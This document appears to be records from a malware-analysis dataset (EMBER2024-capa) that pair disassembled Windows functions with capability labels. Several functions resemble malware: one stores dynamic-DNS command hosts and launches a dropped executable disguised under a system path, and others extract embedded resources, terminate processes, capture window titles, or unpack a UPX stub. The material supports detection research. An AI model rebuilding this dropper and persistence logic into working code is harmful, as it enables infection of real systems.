joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4cc186
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004c1a9e
and dword [ebp - 4], 0
cmp dword [0x58471c], 0
mov ebx, eax
jne 0x4cc237
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4cc2e8
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4cc2e8
push eax
call fcn.004c1a2c
mov dword [esp], 0x520ce0
push edi
mov dword [0x58471c], eax
call esi
push eax
call fcn.004c1a2c
mov dword [esp], 0x520ccc
push edi
mov dword [0x584720], eax
call esi
push eax
call fcn.004c1a2c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x584724], eax
call esi
push eax
call fcn.004c1a2c
pop ecx
mov dword [0x58472c], eax
test eax, eax
je 0x4cc237
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004c1a2c
pop ecx
mov dword [0x584728], eax
mov eax, dword [0x584728]
cmp eax, ebx
je 0x4cc28f
cmp dword [0x58472c], ebx
je 0x4cc28f
push eax
call fcn.004c1aa7
push dword [0x58472c]
mov esi, eax
call fcn.004c1aa7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4cc28f
test edi, edi
je 0x4cc28f
call esi
test eax, eax
je 0x4cc286
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4cc286
test byte [ebp - 0xc], 1
jne 0x4cc28f
or dword [ebp + 0x10], 0x200000
jmp 0x4cc2c8
mov eax, dword [0x584720]
cmp eax, ebx
je 0x4cc2c8
push eax
call fcn.004c1aa7
pop ecx
test eax, eax
je 0x4cc2c8
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x4cc2c8
mov eax, dword [0x584724]
cmp eax, ebx
je 0x4cc2c8
push eax
call fcn.004c1aa7
pop ecx
test eax, eax
je 0x4cc2c8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x58471c]
call fcn.004c1aa7
pop ecx
test eax, eax
je 0x4cc2e8
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4cc2ea
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402930
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
lea eax, [esp + 0x14]
push edi
push eax
mov dword [esp + 0x1c], 0x44
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [esp + 0x84]
xor edi, edi
cmp eax, edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x58], edi
mov dword [esp + 0x44], 1
je case.0x402971.2
mov ecx, dword [esp + 0x7c]
lea eax, [ecx - 1]
cmp eax, 5
ja case.0x402971.2
jmp dword [eax*4 + 0x4029fc]
mov word [esp + 0x48], di
jmp 0x4029aa
mov word [esp + 0x48], 2
jmp 0x4029aa
mov word [esp + 0x48], 3
jmp 0x4029aa
mov word [esp + 0x48], 4
jmp 0x4029aa
mov word [esp + 0x48], 7
jmp 0x4029aa
mov word [esp + 0x48], 5
lea edx, [esp + 8]
mov ecx, dword [esp + 0x64]
lea eax, [esp + 0x18]
push edx
push eax
push edi
push edi
push edi
push 1
push edi
push edi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
cmp esi, edi
je 0x4029f4
cmp dword [esp + 0x70], edi
je 0x4029e0
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, esi
pop edi
pop esi
add esp, 0x54
ret

Function at 0x402a40
Capabilities:
Set file attributes

Disassembly:
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 8]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret
Function at 0x403210
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x4032a2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x403294
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x40328c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x403255
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x403320
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 8]
push edi
push 0
push 0x20
push 3
push 0
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x403389
push ebx
lea ecx, [esp + 0x10]
push esi
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
lea edx, [ebx + 8]
push edx
call fcn.00402650
add esp, 4
mov esi, eax
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esi + 8]
push ebx
push ecx
push edi
mov dword [esi], 1
mov dword [esi + 4], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop ebx
pop edi
ret
Function at 0x101eff95
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
movsb byte es:[edi], byte [esi]
call fcn.101f0014
jae 0x101effa1
xor ecx, ecx
call fcn.101f0014
jae 0x101effcb
xor eax, eax
call fcn.101f0014
jae 0x101effdc
mov al, 0x10
call fcn.101f0014
adc al, al
jae 0x101effbd
jne 0x101f0009
stosb byte es:[edi], al
jmp 0x101effa2
call fcn.101f0020
dec ecx
loop 0x101effe8
mov eax, ebp
call fcn.101f001e
jmp 0x101f000a
lodsb al, byte [esi]
shr eax, 1
je 0x101f0030
adc ecx, 2
mov ebp, eax
jmp 0x101f000a
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
mov ebp, eax
call fcn.101f001e
cmp eax, 0x7d00
jae 0x101f0008
cmp eax, 0x500
jae 0x101f0009
cmp eax, 0x7f
ja 0x101f000a
inc ecx
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x101effa2
pop ebp
ret 8
Function at 0x402010
Capabilities:
Delete file

Disassembly:
push esi
push edi
push str.xxqq001.3322.org
call fcn.00404270
mov esi, dword [sym.imp.MSVCRT.dll__spawnl]
push 0
push 0x40971c
push str.C:Program_FilesCommon_FilesSystemmsadcmsders.exe
push 1
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x14
push 0xbb8
call edi
push str.qqqme.3322.org
call fcn.00404270
push 0
push 0x40971c
push str.C:Program_FilesCommon_FilesSystemmsadcmsders.exe
push 1
call esi
add esp, 0x14
push 0xbb8
call edi
push 0x407340
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
ret

Function at 0x402080
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
push esi
push edi
push eax
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [0x4097e4]
mov edx, dword [esp + 0x18]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4020d0
pop edi
pop esi
xor eax, eax
pop ebx
ret
lea eax, [esp + 0x14]
push 0
push eax
push edi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4020f1
pop edi
pop esi
pop ebx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
ret

Function at 0x4024e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0xc8
push esi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, eax
mov eax, dword [0x422a64]
xor esi, esi
cmp edx, eax
je 0x402543
push edi
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push 0xc8
push eax
push edx
mov dword [0x422a64], edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
je 0x402535
mov esi, 1
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, esi
pop esi
add esp, 0xc8
ret

Function at 0x402550
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4049b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push edi
lea ecx, [esp + 4]
call fcn.0040436c
push 0
push 0x3002
push 0x407d3c
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CFile::Open
mov eax, dword [esp + 4]
push 2
push 0
lea ecx, [esp + 0xc]
call dword [eax + 0x30]
mov edx, dword [esp + 0x24]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFile::Write
mov edi, 0x408470
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x408470
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFile::Write
lea ecx, [esp + 4]
call sub.MFC42.DLL_CFile::Close
lea ecx, [esp + 4]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CFile::CFile
mov ecx, dword [esp + 0x14]
pop edi
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x403ea0
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x404b66
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x410
push ebx
push ebp
xor ebp, ebp
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x14], ebp
lea ecx, [esp + 0x1c]
mov dword [esp + 0x428], ebx
mov dword [esp + 0x18], 0x400
call sub.MFC42.DLL_CString::CString_1
lea eax, [esp + 0x10]
mov byte [esp + 0x428], 1
push eax
push 0xf003f
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
mov dword [esp + 0x24], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x403f62
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x20]
mov ebp, dword [esp + 0x10]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x20]
push ecx
lea eax, [esp + 0x14]
push edx
push eax
push ebx
push str.DefaultDomainName
push ebp
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp ebp, ebx
je 0x403f50
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor ebp, ebp
mov dword [esp + 0x14], ebp
lea ecx, [esp + 0x20]
push 0x40834c
push ecx
call fcn.00403fd0
add esp, 8
mov ecx, 0x100
xor eax, eax
mov edi, 0x421f1c
mov byte [esp + 0x428], bl
rep stosd dword es:[edi], eax
lea edi, [esp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, 0x421f1c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString
cmp ebp, ebx
je 0x403fad
push ebp
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x41c
ret
Function at 0x404130
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push 0
push 2
mov dword [esp + 0xc], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404159
xor eax, eax
pop ebx
add esp, 0x12c
ret
push ebp
push esi
lea eax, [esp + 0x10]
push edi
push eax
push ebx
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x404213
mov ebp, dword [esp + 0x140]
mov edi, dword [sym.imp.MSVCRT.dll__strupr]
push ebp
call edi
lea ecx, [esp + 0x3c]
mov esi, eax
push ecx
call edi
add esp, 8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4041b7
test cl, cl
je 0x4041b3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4041b7
add eax, 2
add esi, 2
test cl, cl
jne 0x404193
xor eax, eax
jmp 0x4041bc
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40420b
lea eax, [esp + 0x14]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404213
push ebp
call edi
lea ecx, [esp + 0x3c]
mov esi, eax
push ecx
call edi
add esp, 8
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x404202
test cl, cl
je 0x4041fe
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x404202
add eax, 2
add esi, 2
test cl, cl
jne 0x4041de
xor eax, eax
jmp 0x404207
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4041c0
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret

Function at 0x404230
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
xor edi, edi
push eax
push edi
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40425c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret

Function at 0x404270
Capabilities:
Access peb ldr_data
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x404b98
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push edi
push 0x407340
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 4]
call fcn.0040436c
push 0
push 0x3002
push 0x407340
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0
call sub.MFC42.DLL_CFile::Open
mov eax, dword [esp + 4]
push 2
push 0
lea ecx, [esp + 0xc]
call dword [eax + 0x30]
mov edx, dword [esp + 0x24]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFile::Write
mov edi, 0x408470
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x408470
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CFile::Write
lea ecx, [esp + 4]
call sub.MFC42.DLL_CFile::Close
lea ecx, [esp + 4]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CFile::CFile
mov ecx, dword [esp + 0x14]
pop edi
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0xb0df50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x27b000]
push edi
or ebp, 0xffffffff
jmp 0xb0df72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xb0df79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb0df68
mov eax, 1
add ebx, ebx
jne 0xb0df8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xb0df9c
jne 0xb0dfbb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb0dfbb
dec eax
add ebx, ebx
jne 0xb0dfa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xb0df80
add ebx, ebx
jne 0xb0dfb7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xb0e00d
xor ecx, ecx
sub eax, 3
jb 0xb0dfd3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xb0e042
sar eax, 1
mov ebp, eax
jmp 0xb0dfde
add ebx, ebx
jne 0xb0dfde
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb0dfac
inc ecx
add ebx, ebx
jne 0xb0dfec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xb0dfac
add ebx, ebx
jne 0xb0dff9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xb0dfee
jne 0xb0e00a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xb0dfee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xb0e02c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xb0e01e
jmp 0xb0df6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xb0e02c
add edi, ecx
jmp 0xb0df6e
pop esi
mov edi, esi
mov ecx, 0x7fe7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xb0e04a
cmp byte [edi], 0x2c
jne 0xb0e04a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xb0e04f
lea edi, [esi + 0x709000]
mov eax, dword [edi]
or eax, eax
je 0xb0e0c7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x71fe54]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x71ffbc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xb0e07c
mov ecx, edi
jns 0xb0e0ab
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x71ffc0]
or eax, eax
je 0xb0e0c1
mov dword [ebx], eax
add ebx, 4
jmp 0xb0e099
call dword [esi + 0x71ffd0]
mov ebp, dword [esi + 0x71ffc4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x257]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xb0e0fb
sub esp, 0xffffff80
jmp 0x51a1bb
Function at 0x508570
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x5a68eb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00598795
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x5085f2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00595c7b
mov eax, dword [eax]
push 0x652270
push eax
call fcn.00575564
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00598a20
test bl, bl
je 0x5085f2
push 0x652270
lea ecx, [esp + 0xc]
call fcn.00598dfc
push 0x655f2c
lea ecx, [esp + 0xc]
call fcn.00598dfc
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x50862e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00598a20
jmp 0x5086f9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x5086b2
lea edx, [esp + 0x7c]
push 0x655f28
push edx
call fcn.00575564
add esp, 8
test eax, eax
je 0x5086b2
lea eax, [esp + 0x7c]
push 0x655f24
push eax
call fcn.00575564
add esp, 8
test eax, eax
je 0x5086b2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x508642
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00598a20
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x508ef0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x508f52
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x508f60
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x5a696b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x664b48]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x509098
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x508fc6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00598a20
xor eax, eax
jmp 0x50910f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00598ba9
push esi
lea ecx, [esp + 0xc]
call fcn.00598e38
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x5090ed
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.00508ef0
test eax, eax
jne 0x5090ed
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.00508ef0
test eax, eax
jne 0x5090ed
lea eax, [esp + 0x14]
push 0x655f40
push eax
call fcn.00576720
mov esi, eax
add esp, 8
test esi, esi
jne 0x5090cc
lea ecx, [esp + 0x14]
push 0x655f3c
push ecx
call fcn.005766a0
mov esi, eax
add esp, 8
test esi, esi
jne 0x5090cc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x5090cf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00598b59
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x508fde
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00598a20
xor eax, eax
jmp 0x50910f
mov byte [esi], 0
push 0x655f38
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00598a20
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4